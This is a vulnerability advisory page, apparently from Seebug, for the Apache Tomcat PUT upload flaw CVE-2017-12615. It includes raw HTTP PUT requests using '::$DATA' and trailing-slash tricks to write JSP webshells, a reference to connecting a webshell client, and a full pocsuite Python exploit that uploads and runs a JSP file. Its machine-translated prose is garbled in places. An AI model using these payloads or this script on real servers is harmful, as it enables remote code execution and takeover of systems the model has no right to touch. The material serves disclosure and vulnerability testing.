Lucene search

K
seebugRootSSV:96557
HistorySep 20, 2017 - 12:00 a.m.

Tomcat code execution vulnerability(CVE-2017-12615)

2017-09-2000:00:00
Root
www.seebug.org
142

EPSS

0.972

Percentile

99.9%

Vulnerability tidbits

2017 9 November 19, Apache Tomcat official confirmation and fixes two high-risk vulnerabilities, the vulnerability CVE number:CVE-2017-12615 and CVE-2017-12616,wherein the remote code execution vulnerability, CVE-2017-12615 impact: Apache Tomcat 7.0.0 - 7.0.79(7.0.81 repair incomplete) When Tomcat is running on a Windows host, and enable the HTTP PUT request method, for example, the readonly initialization parameters by default value is set to false, the attacker will be possible through a carefully constructed attack request to the server to upload contain any code of the JSP file. After the JSP file in the code will be server for execution.

Basic information

  • Vulnerability name: Tomcat arbitrary file upload vulnerability
  • Vulnerability ID: CVE-2017-12615
  • Vulnerability: upload contains any code file, and the server implementation.
  • Impact platform: Windows
  • Affected versions: Apache Tomcat 7.0.0 - 7.0.81

The testing process

0x00 to install Tomcat 7.0.79

0x01 turn on HTTP PUT

Modify the Tomcat 7.0/conf/web. the xml file Add the readonly attribute, the messenger readonly=false.

Restart tomcat

0x02 arbitrary file upload · pose a

Idea: refer to Microsoft on MSDN about the NTFS Streams, a segment data https://msdn. microsoft. com/en-us/library/dn393272. aspx All files on an NTFS volume consist of at least one stream - the main stream – this is the normal, viewable file in which data is stored. The full name of a stream is of the form below. <filename>:<stream name>:<stream type> The default data stream has no name. That is, the fully qualified name for the default stream for a file called "sample.txt" is "sample.txt::$DATA" since "sample.txt" is the name of the file and "$DATA" is the stream type.

payload:: PUT /111. jsp::$DATA HTTP/1.1 Host: 10.1.1.6:8080 User-Agent: JNTASS DNT: 1 Connection: close ...jsp shell... The write is successful

0x03 arbitrary file upload · posture two can attack Tomcat 7.0.81)

Ideas: you can upload a jSp file(but not parse), but not to upload jsp. Description tomcat for jsp is to do a certain process. Then consider whether you can make its process to the file name identifying the presence of differences, the preceding process in the test. jsp/ recognition of non-jsp files, and then continue saving the file when the file name does not accept/character, and therefore ignored. payload / PUT /222. jsp/ HTTP/1.1 Host: 10.1.1.6:8080 User-Agent: JNTASS DNT: 1 Connection: close ...jsp shell...

The write is successful

0x04 chopper connection


                                                #!/usr/bin/python
# -*- coding: utf-8 -*-

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import random
import time


class TestPOC(POCBase):
    name = "tomcat code execution"
    vulID = ''
    author = ['sebao']
    vulType = 'code execution'
    version = '1.0'    # default version: 1.0
    references = ''
    desc = '''Tomcat代码执行漏洞'''

    vulDate = ''
    createDate = '2017-9-20'
    updateDate = '2017-9-20'

    appName = 'Apache Tomcat'
    appVersion = '7.0.0 - 7.0.79'
    appPowerLink = ''
    samples = []

    def _attack(self):

        result = {}
        return self._verify(self)



    def _verify(self):
        '''verify mode'''
        result = {}
        a = random.randint(100000, 900000)
        b = random.randint(100000, 900000)
        body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%out.println({0}+{1});%>''' .format(str(a),str(b))
        url = self.url
        resp = req.options(url+'/asda',timeout=10)
        if 'allow' in resp.headers and resp.headers['allow'].find('PUT') > 0:
            shell_url = url + "/" + str(int(time.time())) +'.jsp/'
            resp1=req.put(shell_url,body)
            print resp1.status_code
            resp2=req.get(shell_url[:-1])
            c = a + b

            if resp1.status_code == 201 and str(c) in resp2.content:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url

        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)